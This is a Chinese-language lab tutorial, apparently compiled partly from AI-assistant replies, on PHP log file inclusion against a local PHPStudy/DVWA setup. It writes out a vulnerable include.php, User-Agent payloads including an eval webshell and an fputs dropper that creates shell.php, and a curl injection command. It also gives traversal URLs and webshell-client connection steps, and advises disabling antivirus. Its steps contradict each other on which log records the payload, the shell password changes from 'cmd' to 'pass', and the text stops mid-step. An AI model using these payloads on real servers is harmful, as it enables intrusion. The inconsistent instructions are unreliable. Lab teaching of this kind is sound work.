这是一个非常经典的Web安全渗透测试实验。利用PHP日志文件包含漏洞(Log File Inclusion)是获取服务器权限的一种常见手段。

我为你整理了详细的操作步骤。这个实验的核心思路是:修改User-Agent头注入PHP代码 -> 找到并包含Apache/Nginx日志文件 -> 触发代码执行

最后有精简版的完整步骤,有需要可直接跳转道最后,(会稍稍有点不一样)

🛠️ 实验环境准备

  • 工具:PHPStudy(Windows或集成环境)、浏览器、Burp Suite(或HackBar插件)。
  • 前提:确保PHPStudy中的 Apache 和 MySQL 已启动,且网站目录下存在一个具有“文件包含漏洞”的PHP页面。
  • 可能需要在设置里先关闭实时防护,和做upload-labs操作一样,要不然php文件可能刚创建完就被删了(因为是病毒)

具体可看专栏:upload-labs部署靶场及通关指南_其实防守也摸鱼的博客-CSDN博客

Upload-labs:部署靶场及Pass-01实战解析_upload labs教程-CSDN博客

upload-labs靶场的pass-2~12的解题步骤及原理讲解_upload shell管理-CSDN博客

upload-labs靶场的pass-13~21的解题步骤及原理讲解-CSDN博客

最后一篇讲述的题目,由于环境不稳定,上传图片马会加载不上去,所以只是大概讲步骤,大概7月份会重新操作,补充过程截图,并教更多更细致解决问题的方法,以便大家跟着透彻学习


🚀 具体操作步骤

第一步:搭建漏洞环境

你需要一个存在“文件包含漏洞”的PHP文件。

  1. 在PHPStudy的网站根目录(如 www 或 htdocs)创建一个文件 include.php
  2. 写入以下代码,模拟一个典型的包含漏洞(未对 ?file= 参数做安全过滤):
    <?php
    $file = $_GET['file'];
    if(isset($file)){
        include($file); // 危险函数
    } else {
        echo "请指定文件";
    }
    ?>

第二步:修改日志配置(关键步骤)

为了让后续的代码注入生效,我们需要让PHP的错误日志记录到一个我们知道的路径。

  1. 打开PHPStudy,点击“其他选项菜单” -> “PHP扩展及设置” -> “PHP.ini”。
  2. 查找 error_log 配置项,将其修改为绝对路径,指向你的网站目录(方便后续访问),例如:
    error_log = D:\phpStudy\WWW\error.log
    (注:路径请根据你的实际安装目录调整)
  3. 保存并重启PHP服务。

但是如果你是较新版本,而不是2018版的pgpstudy,那就是显示下面这个界面,log位置不同

在旧版中,修改日志配置通常隐藏在“其他选项菜单”里,但在新版(v8.x)中,操作更加直观,主要通过顶部的“配置文件”标签页来完成。

1. 找到正确的配置文件入口

在你截图的界面中,请注意顶部导航栏选中的“配置文件”标签页。在这个标签页下,你会看到一排配置文件选项:

  • php.ini:这是 PHP 的核心配置文件,错误日志(Error Log)通常在这里配置。
  • httpd.conf:这是 Apache 的配置文件,访问日志(Access Log)通常在这里配置。

2. 修改 PHP 错误日志配置

如果你想修改 PHP 的报错日志(用于 LFI 漏洞测试通常关注这个),请按以下步骤操作:

  1. 点击截图中的 php.ini 按钮。
  2. 系统会弹出一个记事本窗口打开配置文件。
  3. 使用 Ctrl + F 搜索关键词 log_errors 或 error_log
  4. 开启日志:找到 log_errors = Off,将其改为 log_errors = On。(我第二个截图
  5. 指定日志路径:找到 error_log =,在后面填入你想要生成日志的路径。
  • 提示:为了方便做文件包含测试,建议路径设置在你的网站根目录下,例如:
  • error_log = "D:/phpStudy/WWW/error.log" (路径请根据你的实际安装目录修改)。

像我的,就是修改成error_log = "D:\phpstudy_pro\WWW\php_errors.log"

最后就变成了,(记得要去掉前面的分号)

然后保存文件 (Ctrl + S)。

3. 修改 Apache 访问日志(可选)

如果你需要配置 Apache 的访问日志:

  1. 点击截图中的 httpd.conf 按钮。
  2. 搜索 CustomLog
  3. 你可以看到类似 CustomLog "logs/access.log" common 的行,这里定义了访问日志的位置和格式。

做文件包含漏洞测试时,其实你不需要修改 Apache 的访问日志(access.log),直接修改 PHP 的错误日志(error_log)就足够了,也更简单。

虽然不推荐,但如果你想知道 Apache 访问日志在哪里,通常是在:
D:\phpstudy_pro\Extensions\Apache2.4.xx\logs\access.log

注意:修改 Apache 的日志路径需要修改 httpd.conf 文件,而且对于做这个实验来说,完全没必要,反而会增加复杂度。

特性 PHP 错误日志 Apache 访问日志
记录内容 记录代码报错信息,比如“找不到文件”。 记录谁访问了哪个页面,比如“127.0.0.1 访问了 /index.html”。
记录格式 比较规整,包含时间、错误类型和详细信息。 格式固定,通常包含IP、时间、请求方式、URL、状态码等。
修改难度 简单。只需要改 php.ini 里的 error_log 路径。 复杂。需要去 Apache 的配置文件 httpd.conf 里找 CustomLog 修改路径。
包含难度 较容易。格式简单,容易构造出能执行的 PHP 代码。 较难。格式复杂,有很多双引号和特殊字符,容易干扰 PHP 代码执行。

4. 关键步骤:重启服务

修改完配置文件后,必须重启服务才能生效。
回到软件首页(点击左侧“首页”),点击 Apache 或 Nginx 旁边的“重启”按钮。

第三步:注入PHP代码(利用User-Agent)

既然 PHP 错误日志的路径已经配好,接下来的核心思路就是:通过访问一个不存在的页面来触发报错,同时将包含 PHP 代码的 User-Agent 头写进这个错误日志里。

这就好比你去住酒店(服务器),前台(Apache/PHP)发现没有你的房间(404报错),于是把你的名字(User-Agent)记在了“异常访客记录本”(php_errors.log)上。

下面是具体操作步骤,推荐使用 Burp Suite(抓包改包)或者 浏览器插件(如 ModHeader),这里以最通用的 Burp Suite 为例:

这一步的核心操作是:修改 HTTP 请求头中的 User-Agent 字段,把原本代表浏览器的字符串,替换成我们要注入的 PHP 代码。

1. 开启拦截

确保 Burp Suite 已经打开,并且浏览器的代理设置正确。在 Burp Suite 的 Proxy(代理) -> Intercept(拦截) 标签页中,确保按钮是 Intercept is on(开启拦截)的状态。

2. 发起请求

在你的浏览器地址栏中,输入一个 肯定不存在的 PHP 文件路径(这一步是为了触发 PHP 报错,从而把日志写入文件)。

  • 例如:http://localhost/dwa/123.php
  • 按下回车后,浏览器会转圈等待,页面不会显示内容,这是正常的,说明请求被 Burp Suite 拦下来了。

3. 修改 User-Agent(关键步骤)

回到 Burp Suite 界面,你会看到拦截到的请求数据包。

找到 User-Agent

在右侧的请求头区域,找到以 User-Agent: 开头的那一行。它通常长这样:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...

替换内容

将冒号后面的所有内容全部删除,替换为下面这行 PHP 代码(为了方便复制,请直接使用这行):

<?php echo "hacked"; ?>

修改后的请求头应该像下面这样(注意保留前面的 User-Agent:):

GET /dwa/123.php HTTP/1.1
Host: localhost
User-Agent: <?php echo "hacked"; ?>
Accept: text/html...
...

4. 放行请求

检查代码没有输错(特别是 <?php 和 ?> 符号不能少),然后点击 Burp Suite 界面上方的 Forward(放行)按钮。

5. 验证结果(可选)

此时浏览器会显示 "Not Found" 或类似报错,这没关系。
现在去你的文件夹 D:\phpstudy_pro\WWW 里打开刚才生成的 php_errors.log 文件。
如果你看到文件里有一行内容包含 <b>Warning</b>: include(failed to open stream... 并且后面跟着 <?php echo "hacked"; ?>,那就说明注入成功了

我们来分析一下日志里的内容

日志里清晰地记录了:

  • 时间[25-May-2026 21:10:02 Asia/Shanghai] —— 刚才的时间。
  • 错误类型PHP Fatal error —— 致命错误。
  • 错误原因Call to undefined function test_undefined_function() —— 正是我们在代码里故意写的那个不存在的函数。
  • 位置in E:\desktop\bachang\DVWA\test_error.php:7 —— 文件路径和行号都完全对上了。

这意味着什么

  1. 配置生效:你的 php.ini 里的 log_errors = On 和 error_log 路径配置都已经起作用了。
  2. 环境打通:你现在的 DVWA (8088端口) 环境已经具备了记录错误的能力。
  3. 可以开始实战:这意味着,当你接下来在 DVWA 里进行 SQL 注入或者代码审计时,如果产生了 PHP 报错,这些敏感信息都会被记录在这个文件里。
可能出现的问题1:

文件夹 D:\phpstudy_pro\WWW 里没有生成的 php_errors.log 文件。

说明 PHP 的错误日志配置还没有生效。我们需要先解决文件生成的问题,才能进行下一步的注入。

解决步骤:

第一步:检查 php.ini 配置是否完全正确

请再次打开你的 php.ini 文件,找到 error_log 这一行。

  1. 去掉分号:确保最前面的 ; 已经删除。
  2. 检查路径:确保路径是双引号包裹的绝对路径。

修改前(错误示例):

;error_log = php_errors.log

修改后(正确示例):

error_log = "D:\phpstudy_pro\WWW\php_errors.log"

注意:

  • 路径中的反斜杠 \ 在 Windows 中是转义字符,建议使用双反斜杠 \\ 或者正斜杠 /
  • 更稳妥的写法是:error_log = "D:/phpstudy_pro/WWW/php_errors.log"

第二步:重启 Web 服务

修改 php.ini 后,必须重启 Apache 或 Nginx 才能生效。

  1. 打开 小皮面板(phpStudy)
  2. 找到 Apache 或 Nginx 服务。
  3. 点击 重启 按钮。

第三步:手动触发一个 PHP 错误

为了强制 PHP 生成日志文件,我们需要让它报一个错。

  1. 在你的网站根目录 D:\phpstudy_pro\WWW 下,新建一个文件,命名为 test_error.php
  2. 文件内容写入一行简单的 PHP 代码,故意让它报错:
    <?php
    echo $undefined_variable; // 这是一个未定义的变量,会触发 Notice 错误
    ?>

  3. 在浏览器中访问这个文件:http://localhost/test_error.php

第四步:检查文件是否生成

刷新你的 D:\phpstudy_pro\WWW 文件夹,查看是否生成了 php_errors.log 文件。

  • 如果生成了:打开它,里面应该有刚才的报错信息。说明配置成功,可以进行下一步注入。
  • 如果还是没有生成:请检查以下几点:
    • 权限问题:确保 WWW 文件夹对 Everyone 或 IIS_IUSRS 有写入权限。
    • display_errors:确保 php.ini 中的 display_errors = On(虽然这不影响日志,但能帮你确认 PHP 是否在运行)。
    • error_reporting:确保 error_reporting = E_ALL,这样所有的错误(包括 Notice)都会被记录。

可能出现的问题2:

不是配置的问题,而是服务器的问题

原因很简单:你正在用 IIS 服务器运行,而不是 Apache。

请看截图里的“模块”一栏写着 IIS Web Core,物理路径在 C:\inetpub\wwwroot。这意味着:

  1. 你修改的 php.ini 是 phpStudy (Apache) 的配置文件。
  2. 但你浏览器访问的是 Windows 自带的 IIS 服务器
  3. 结果: IIS 根本没读取你刚才修改的 php.ini,所以日志文件当然不会生成。

解决方法(二选一)

方案 A:使用 phpStudy 的 Apache(推荐,最简单)

  1. 修改访问地址
    不要访问 localhost,要访问 127.0.0.1

    • 在 hosts 文件中,localhost 通常指向 IPv6 或者 IIS,而 127.0.0.1 强制指向 IPv4(Apache)。
    • 试着访问:http://127.0.0.1/test_error.php
  2. 或者停止 IIS 服务

    • 打开小皮面板(phpStudy)。
    • 确保 Apache 是绿色的(运行中)。
    • 如果端口冲突(80端口被占用),你需要去小皮面板里把 IIS 停掉,或者把 Apache 的端口改成 8080。

方案 B:如果你坚持要用 IIS

如果你非要在这个环境下做实验,那你修改的 php.ini 位置不对。你需要找到 IIS 使用的那个 php.ini(通常在 C:\Program Files\PHP\vXX\php.ini 或者类似位置),而不是 phpStudy 文件夹里的。


建议操作

为了教程顺利,请执行 方案 A

  1. 确保小皮面板里的 Apache 是启动状态。
  2. 在浏览器地址栏输入:http://127.0.0.1/test_error.php
  3. 如果看到报错页面(Notice: Undefined variable...),再去 D:\phpstudy_pro\WWW 刷新,php_errors.log 绝对会出现。

可能出现的问题3:

换成了127.0.0.1还是报错

问题出在 IIS 和 phpStudy 的端口冲突 上。

问题诊断

请仔细看第一张图的“详细错误信息”:

  • 模块IIS Web Core(说明是 Windows 自带的 IIS 在处理请求,而不是 phpStudy 的 Apache)
  • 物理路径C:\inetpub\wwwroot\test_error.php(说明 IIS 去 C 盘找文件了)
  • 你的文件位置D:\phpstudy_pro\WWW\test_error.php(文件其实在 D 盘)

结论:虽然你访问了 127.0.0.1,但你的电脑上 IIS 占用了 80 端口,导致请求被 IIS 抢走了,根本没经过你配置好的 phpStudy,所以日志文件不会生成。


解决方法(必须做这一步)

我们需要把 80 端口抢回来给 phpStudy 用。

第一步:停止 IIS 服务

  1. 按键盘 Win + R,输入 services.msc,回车。
  2. 在列表里找到 World Wide Web Publishing Service
  3. 右键点击它,选择 “停止”
  4. (可选)如果有 IIS Admin Service,也右键停止。

第二步:重启 phpStudy 的 Apache

  1. 打开 小皮面板(phpStudy)
  2. 找到 Apache
  3. 如果它显示“已启动”,先点 “停止”,等几秒再点 “启动”。(这一步是为了让它重新占用刚刚空出来的 80 端口)
  4. 确保 Apache 后面的灯是 绿色 的。

第三步:再次测试

  1. 刷新浏览器页面,访问 http://127.0.0.1/test_error.php
  2. 此时你应该能看到 PHP 的报错信息(Notice: Undefined variable...),而不是 IIS 的 404 页面。
  3. 去 D:\phpstudy_pro\WWW 文件夹刷新,php_errors.log 应该就出现了!

可能出现的问题4:

如果嫌关闭iis比较麻烦,能不能使用别的端口?

当然直接利用现有的其他端口来解决问题。

这里有 两个更简单的方案,你可以任选其一,推荐方案 A 最快。


方案 A:利用现有的 8088 端口(最快)

看截图,你的第 2 个网站 dvwa 正在运行,端口是 8088,状态是“正常”。

  1. 把测试文件复制过去

    • 把你刚才创建的 test_error.php 文件,复制到 dvwa 的物理路径文件夹里。
  2. 访问新地址

    • 在浏览器访问:http://localhost:8088/test_error.php
    • 或者:http://127.0.0.1:8088/test_error.php
  3. 查看日志

    • 因为这个网站也是由 phpStudy 管理的,它会使用你刚才配置的 php.ini
    • 去 D:\phpstudy_pro\WWW 查看,php_errors.log 应该就生成了。

方案 B:修改 localhost 的端口(如果你想坚持用 localhost)

如果你想修复 localhost 这个站点:

  1. 修改端口

    • 在截图的列表中,点击 localhost 这一行的 “管理”
    • 在弹出的设置里,把端口从 80 改成 8080(或者其他空闲端口)。
    • 保存并重启 Apache。
  2. 访问

    • 以后访问就要带端口号了:http://localhost:8080/test_error.php
    • 找到 User-Agent,修改成

<?php echo "hacked"; ?>

可能出现的问题5:

显示别的页面,not found了,但是还是没有出现log文件

这个 404 错误是因为你访问的 URL 路径和实际存放文件的路径不匹配导致的。

问题诊断

  • 你的网址127.0.0.1:8088/test_error.php
    • 这意味着你在请求网站的 根目录 下找 test_error.php
  • 你的网站配置:看上一张图,端口 8088 对应的网站是 dvwa
    • 通常 DVWA(一个安全测试平台)的配置文件(.conf 或 .vhost)会把它的根目录指向类似 .../www/dvwa 这样的子文件夹,而不是 .../www 根目录。
    • 所以,当你访问 :8088/ 时,服务器其实是去 dvwa 的专属文件夹里找文件,而不是去 D:\phpstudy_pro\WWW 里找。
解决方法(二选一)

方案 A:把文件放到 DVWA 的目录里(推荐,为了做实验)

既然 8088 端口对应的是 DVWA 环境,你就把 test_error.php 放到 DVWA 的文件夹里。

  1. 找到 DVWA 的物理路径。
    • 你在小皮面板里点击 dvwa 那一行的 “根目录” 或 “打开目录” 按钮(通常在“管理”旁边,或者右键菜单里)或者直接找到dvwa的根目录,而不是WWW的那个文件夹里的dvwa文件夹。
  2. 把 test_error.php 复制进去。
  3. 再次刷新网页 127.0.0.1:8088/test_error.php

方案 B:在 localhost (80端口) 上解决问题(最正统)

如果你想把文件放在 D:\phpstudy_pro\WWW,你就必须用 localhost 或 127.0.0.1 的 80端口 访问。

  1. 必须解决端口冲突
    • 正如之前所说,你的 80 端口被 IIS 占了。
    • 按 Win+R -> 输入 services.msc -> 找到 World Wide Web Publishing Service -> 停止它。
  2. 重启 Apache
    • 回到小皮面板,重启 Apache。
  3. 访问
    • 访问 http://127.0.0.1/test_error.php (不要加 :8088)。
    • 这时候你的文件就在 D:\phpstudy_pro\WWW 里,访问也就对了。

建议先试方案 B,因为你的 php.ini 配置(error_log 路径)是基于 WWW 目录的,这样最不容易出错。

可能出现的问题6:

现在什么都没显示了

这意味着:

  1. PHP 文件找到了(不再是 404)。
  2. PHP 代码执行了(不再是下载文件或显示源代码)。
  3. 但是报错信息被“藏”起来了

这是因为你的 php.ini 配置里,虽然开启了日志记录,但同时也可能开启了“不显示错误”,或者错误级别设置得比较高。

查看是否有 php_errors.log 文件生成!

  • 如果生成了:恭喜你!配置成功了。打开文件,里面应该有刚才的报错信息。
  • 如果还没生成:说明 PHP 还没触发那个特定的错误,或者配置还没生效。

如果日志文件还没生成(补救措施)

我们需要修改 test_error.php 的代码,强制它报错并且显示出来。

1. 修改 test_error.php 的内容:

把里面的代码完全替换为下面这段(这段代码强制开启报错显示):

<?php
// 强制开启所有错误显示
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 故意写一个错误的函数调用,触发报错
echo test_undefined_function();
?>

2. 保存文件,然后再次刷新浏览器页面。

此时,页面上应该会直接显示出红色的报错信息(Fatal error...)。

3. 再次检查 D:\phpstudy_pro\WWW 文件夹。

这时候 php_errors.log 应该就会出现。

第四步:包含日志文件

这一步是利用文件包含漏洞去“读取”日志文件。由于日志文件里现在包含了我们的PHP代码,当被包含时,代码就会被执行(即创建木马文件)。这一步的核心逻辑是:让服务器把日志文件当成 PHP 代码执行。因为日志文件的内容是我们可控的(通过 User-Agent 注入),所以我们可以在日志里写入一句话木马。

如果你和我一样是用dvwa的8088端口的话,就按下面灰色的块引用部分做,

  1. 在浏览器访问:

    http://localhost/include.php?file=D:/phpStudy/WWW/error.log

    (这里的路径是你刚才在PHP.ini里设置的error_log路径)

  2. 结果分析

    • 如果成功,此时PHP会去包含日志文件。日志文件中的PHP代码会被执行,从而在网站根目录生成 shell.php
    • 如果报错,说明路径不对,或者日志格式有干扰。

以下是用dvwa的8088端口具体的操作步骤:

1. 确认目标路径

首先,我们要包含的不是 D 盘的日志,而是你刚才测试成功的 DVWA 环境下的日志

  • 目标日志路径E:\desktop\bachang\DVWA\php_errors.log
  • 如果目标日志不是在这,而是在WWW文件夹那,那就往下看另外一个块引用
  • 目标漏洞页面:假设你的 DVWA 中有一个文件包含漏洞页面,比如 http://127.0.0.1:8088/vulnerabilities/fi/?page=...(具体文件名取决于你用的 DVWA 版本,通常是 fi 或 include)。

2. 注入一句话木马(修改日志内容)

我们需要让日志文件里写入 <?php @eval($_POST['cmd']);?> 这段代码。最简单的方法是修改浏览器的 User-Agent

操作步骤:

  1. 打开浏览器(推荐使用 Chrome 配合插件,或者直接用 Hackbar 插件)。
  2. 访问 DVWA 的任意页面(比如登录页或主页)。
  3. 修改请求头:你需要发送一个请求,把 User-Agent 改成 PHP 代码。
  • 如果你用 Hackbar
  1. 在地址栏输入 DVWA 的地址。
  2. 点击 Hackbar 的 Enable
  3. 虽然 Hackbar 主要是改 POST/GET,改 User-Agent 比较麻烦。
  • 推荐方法(更简单):

直接在浏览器地址栏访问一个不存在的图片或者资源,把代码拼在 URL 里(如果是报错注入),或者使用 Burp Suite 抓包修改 User-Agent。

  • 最简单方法(利用报错):

我们刚才已经验证了,访问 test_error.php 会报错。但是那个报错里很难插入代码。
最好的办法是:
在你的电脑上随便找个图片,或者直接访问 http://127.0.0.1:8088/,然后用 Burp Suite 抓包。
在抓到的请求头里,把:
User-Agent: Mozilla/5.0 ...
改成:

User-Agent: <?php @eval($_POST['cmd']);?>

(如果不会用 Burp,可以用 Python 脚本快速发包,或者利用 DVWA 的某些输入框如果会记录日志的话)

  • 小白替代方案(利用 test_error.php 报错):

其实很难直接把代码写进 php_errors.log 除非触发报错。

最简单的办法是利用 DVWA 的登录框或者搜索框(如果它们记录日志),或者直接修改浏览器 User-Agent 插件。

安装一个 Chrome 插件叫 "User-Agent Switcher",添加一个新的 UA:

名称Webshell

内容<?php @eval($_POST['cmd']);?>

保存并切换到这个 UA。

然后刷新一下 DVWA 的首页(http://127.0.0.1:8088/)。

注意:首页可能不会报错,所以日志里可能没记录。你需要访问一个不存在的页面来触发 404 报错,或者像刚才那样故意访问错文件。

  • 最稳妥的注入方式(再次利用 test_error.php):
  1. 修改 test_error.php,在里面加一句 echo $_SERVER['HTTP_USER_AGENT'];
  2. 修改 test_error.php 里的报错代码,确保它还会报错。
  3. 用浏览器访问 test_error.php,此时 User-Agent 还是正常的。
  4. 这一步比较绕,建议直接用 Burp Suite 抓包修改 User-Agent 访问首页,即使首页不报错,Apache 的 access log 也可以被包含(如果是包含 access.log)。但你配置的是 error.log。
  • 让我们回到最简单的:利用浏览器插件修改 UA 并触发报错
  1. 安装 UA 插件,设为 <?php @eval($_POST['cmd']);?>
  2. 访问 http://127.0.0.1:8088/test_error.php
  3. 此时页面报错,去查看 php_errors.log
  4. 你会发现日志里多了类似这样的内容:
    ... Uncaught Error: ... in ... on line 7
    等等,报错日志记录的是代码错误,不一定记录 UA!
  • 修正策略:包含 Apache 的 Access Log 还是 PHP Error Log?

通常教程里是包含 Access Log(访问日志),因为访问日志会记录 UA。

你现在配置的是 Error Log(错误日志)。错误日志只有报错才写。

所以,如果你坚持用 Error Log,你需要找到一个地方,既能报错,又能把你的代码打印出来。

  • 最终推荐方案(针对 Error Log):

    1. 保持 test_error.php 内容为:
      <?php
      // 打印 UA,然后报错
      echo "My UA is: " . $_SERVER['HTTP_USER_AGENT'];
      echo test_undefined_function(); // 触发报错
      ?>

    2. 用插件把浏览器 UA 改成:<?php @eval($_POST['cmd']);?>
    3. 访问 test_error.php
    4. 检查 php_errors.log。你会发现里面记录了报错,而且报错信息里(Stack trace 或 echo 输出可能会混杂)... 其实 Error Log 很难利用,因为它是结构化的报错信息。

重要提示:
通常 文件包含写 Shell 都是利用 Access Log(访问日志),因为 Access Log 100% 记录 UA。
你现在的配置是 error_log

如果你非要利用现在的 error_log
你需要确保你的恶意代码出现在报错信息里。
修改 test_error.php

<?php
$a = $_GET['a'];
include($a); // 假设这里有包含漏洞,或者仅仅是触发报错
// 或者简单的:
trigger_error("My custom error: " . $_SERVER['HTTP_USER_AGENT']);
?>

然后把 UA 改成 <?php @eval($_POST['cmd']);?>
这样日志里就会有你的代码了。

假设你已经成功把 <?php @eval($_POST['cmd']);?> 写进了 E:\desktop\bachang\DVWA\php_errors.log

3. 执行包含(Exploit)

回到你的 DVWA 文件包含漏洞页面(假设 URL 是 http://127.0.0.1:8088/vulnerabilities/fi/?page=include.php,你需要把 include.php 替换掉)。

在浏览器地址栏输入:

http://127.0.0.1:8088/vulnerabilities/fi/?page=E:/desktop/bachang/DVWA/php_errors.log

(注意:Windows 路径分隔符用 / 或 \\,这里用 / 最稳妥)

4. 验证与连接

  1. 如果页面变白了:说明包含成功了,代码执行了,但没有输出(因为 @eval 抑制了错误)。
  2. 去目录下查看
    打开 E:\desktop\bachang\DVWA\ 目录,看是否生成了 shell.php
  3. 连接 Shell
    如果生成了 shell.php,用蚁剑或冰蝎连接:
    • URL: http://127.0.0.1:8088/shell.php
    • 密码: cmd

如果报错 Failed to open stream
说明路径不对,尝试:

  • php_errors.log
  • ./php_errors.log
  • E:\\desktop\\bachang\\DVWA\\php_errors.log

总结:
你的核心难点在于 如何把代码写进 Error Log。利用 trigger_error($_SERVER['HTTP_USER_AGENT']) 是最稳的办法。

日志是在 WWW 目录下,那路径就简单多了。

核心目标:让日志文件里写入 PHP 代码(一句话木马),然后通过文件包含漏洞执行它。

以下是 第四步 的具体操作步骤:

1. 第一步:向日志里“写入”木马代码

日志文件记录的是用户的访问信息(比如浏览器型号 User-Agent)。我们要利用这一点,把恶意的 PHP 代码伪装成浏览器信息发给服务器。

操作方法(使用浏览器插件 Hackbar 或浏览器地址栏):

  1. 打开浏览器,确保安装了 Hackbar 插件(如果没有,可以用地址栏直接访问,但需要编码)。
  2. 在地址栏输入你的 DVWA 地址(或者任何能触发日志记录的 PHP 文件):
    http://127.0.0.1:8088/test_error.php
  3. 关键操作:我们需要修改请求头里的 User-Agent
    • 如果你有 Hackbar 2.3.1+ 版本
      1. 点击 Hackbar 图标,点击 Enable
      2. 点击 User-Agent 按钮。
      3. 在弹出的框里,清空默认内容,粘贴以下代码:
        <?php @fputs(fopen('shell.php', 'w'), '<?php @eval(\$_POST["cmd"]);?>');?>
        (解释:这段代码的意思是:创建一个名为 shell.php 的文件,并写入一句话木马)
      4. 点击 Execute(执行)。
    • 如果没有 Hackbar(使用 curl 命令或在线工具更稳妥)
      如果你电脑上有 curl 工具(Windows 10/11 自带),打开 CMD 命令行,执行:
      curl -A "<?php @fputs(fopen('shell.php','w'),'<?php @eval(\$_POST[cmd]);?>');?>" http://127.0.0.1:8088/test_error.php
      (注意:Windows CMD 里双引号需要转义,所以用了 \)
    • 上面两个都不用,就用最简单burpsuite 修改 User-Agent(关键步骤)

      在 BP 的拦截窗口中,你会看到类似下面的代码:

      GET /test_error.php HTTP/1.1
      Host: 127.0.0.1:8088
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
      Accept: text/html...
      ...

      你要做的是:

  • 找到 User-Agent: ... 这一行。
  • 删除 后面的所有内容。
  • 替换 为下面这段 PHP 代码(注意:为了生成 shell.php,我们用 file_put_contents 或 fopen 函数):
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
  • 点击 BP 窗口右上角的 Forward(转发)按钮,把请求发出去。

  • 浏览器页面可能会报错或显示空白,不用管它,只要请求发出去了,日志就写入了。

2. 第二步:验证代码是否写入日志

  1. 打开你的日志文件夹:D:\phpstudy_pro\WWW
  2. 用记事本打开 php_errors.log
  3. 查找:拉到文件最下面,看有没有一行类似这样的记录:
    [日期] ... "GET /test_error.php HTTP/1.1" 404 ... "<?php @fputs..."
    • 只要看到了 <?php 开头的那段代码,说明写入成功!(多了一条日志)

3. 第三步:利用文件包含漏洞“执行”代码

现在日志里有了木马代码,但它只是个文本。我们需要通过 DVWA 的文件包含漏洞让它运行。

  1. 访问 DVWA 的文件包含漏洞页面(假设是 Low 级别):
    http://127.0.0.1:8088/vulnerabilities/fi/?page=include.php
    (注意:你的 URL 可能是 fi 或者 include,取决于你的 DVWA 版本)

  2. 构造 payload
    在 page 参数后面,填入日志文件的绝对路径。

    • URL 输入
      http://127.0.0.1:8088/vulnerabilities/fi/?page=../../php_errors.log
      (注意:如果 ../../ 不行,可能需要尝试 ../../../ 或者直接 /php_errors.log,取决于当前脚本所在的目录深度)
  3. 观察结果

    • 如果页面变白,或者没有任何报错。
    • 立刻去浏览器访问http://127.0.0.1:8088/shell.php
    • 如果显示 404,说明没成功。
    • 如果显示空白(且没有报错),说明 shell.php 已经生成!

4. 第四步:连接 Webshell

  1. 打开你的中国蚁剑(AntSword)或 冰蝎(Behinder)。
  2. 添加数据:
    • URLhttp://127.0.0.1:8088/shell.php
    • 密码cmd (对应代码里的 $_POST['cmd'])
  3. 连接!

常见问题排查(如果不成功):

  1. 路径不对:日志在 WWW 目录下,但 DVWA 的漏洞文件可能在 WWW/dvwa/vulnerabilities/ 下。所以 page 参数可能需要写 ../../../php_errors.log(多试几个点)。
  2. 代码被转义:日志系统可能会把 < 变成 &lt;。如果日志里看到的是 &lt;?php,那这种方法就失效了,需要用 Session 包含或者其他方式。
  3. 权限问题:PHP 可能没有权限在 WWW 目录下创建 shell.php。如果是这样,尝试把写入路径改成绝对路径,或者换一个目录(比如 tmp)。

第五步:连接菜刀/蚁剑

  1. 打开中国菜刀或蚁剑。
  2. 添加新数据:
    • URLhttp://localhost/shell.php
    • 密码pass (对应代码中的 $_POST['pass'])
  3. 如果连接成功,你就能看到服务器文件列表,实验完成。

🛡️ 修复方案(实验报告必填)

根据实验要求,你需要记录修复方案:

  1. 过滤协议:在PHP代码中限制包含的文件协议,例如使用 allow_url_include=Off
  2. 白名单机制:不要直接使用用户输入的 $_GET['file'],而是使用 switch case 或数组白名单来映射文件名。
  3. 路径限制:使用 basename() 函数或正则表达式过滤掉路径中的 ../ 和特殊字符。

💡 常见问题排查

  • Q: 访问包含日志的URL没有反应?
    • A: 检查 error.log 文件里是否真的有你注入的代码。如果没有,说明User-Agent没改对,或者PHP报错没记录进去。
  • Q: 提示“failed to open stream”?
    • A: 路径写错了。注意Windows下路径分隔符是 \ 还是 /,或者尝试使用 .. 相对路径遍历。

如果在写入日志那一步卡住了,可以检查一下PHPStudy的错误日志是否真的生成了。

精简版全流程

一、环境准备

在PHPStudy的网站根目录(如 www 或 htdocs)创建一个文件 include.php

<?php
$file = $_GET['file'];
if(isset($file)){
    include($file); // 危险函数
} else {
    echo "file fail";
}
?>

启动 Apache 服务,在浏览器打开

http://localhost/include.php

若出现下图这个情况,很大概率是80端口被别的占用了

可以换成别的端口使用,比如

http://127.0.0.1:8088/include.php

页面输出file fail即环境正常。

看到的 file fail,正是 include.php 代码里 else { echo "file fail"; } 的执行结果。

这说明:

  1. PHP 环境正常:代码被解析执行了。
  2. 文件路径正确:成功访问到了 D:\phpstudy_pro\WWW\include.php
  3. 逻辑通顺:因为没有传 ?file= 参数,所以它走了 else 分支。

之后我们需要在后面传递file的路径,这块先放着

之后后面要加上?file=日志文件的路径和名称

二、开启 Apache 日志记录

  1. 找到 Apache 配置文件,搜索log,去掉日志配置行前的#注释,开启访问日志 access.log错误日志 error.log
  2. 重启 Apache 服务,在 Apache 的logs目录下生成日志文件。

我们以phpstudy为例,apache(阿帕奇)运行之后,一般会生成两个日志文件,

  • access访问日志
  • error错误日志

它们是保存在阿帕奇的日志文件夹里

如果点进去发现是没有日志文件的,是因为

默认情况下是关闭的,要开启

旧版(2018)的phpstudy里:

ctrl+F搜索一下log:两个都是关于是否开启日志文件的,选取其中一个删掉#注释就好了

新版的小皮:

大概长:(去掉#号注释再重启服务就好了)

#CustomLog "logs/access.log" common

三、向日志写入 PHP 恶意代码

  1. 浏览器访问不存在的路径,抓包(BP 拦截请求)。
  2. 将请求内容修改为 PHP 代码(示例:<?php phpinfo();?>),放行请求。
  3. 打开access.log,可查看到写入的 PHP 代码。

重启完了之后,再看日志文件夹,就出现了日志文件

然后我们看一下,访问记录是否会在日志中记录,这时候我们访问一个不存在的资源

<?php phpinfo();?>

看一下日志文件中是否会记录内容

打开access文件

(我是用dvwa的8088端口的,所以打开的access不一样,如果用localhost就是打开的第一个)

那我们看到第二条就是我们那个不存在的资源访问记录

但是因为被url编码了,所以那句不能被利用,那这时候应该就想到了用bp拦截修改

将整个修改回

<?php phpinfo();?>

然后放行

再打开日志文件

就发现这个代码已经包含在日志文件当中了,那我们就可以来执行这一句php代码

四、文件包含漏洞执行代码

  1. 构造包含日志文件的 URL,两种路径写法任选
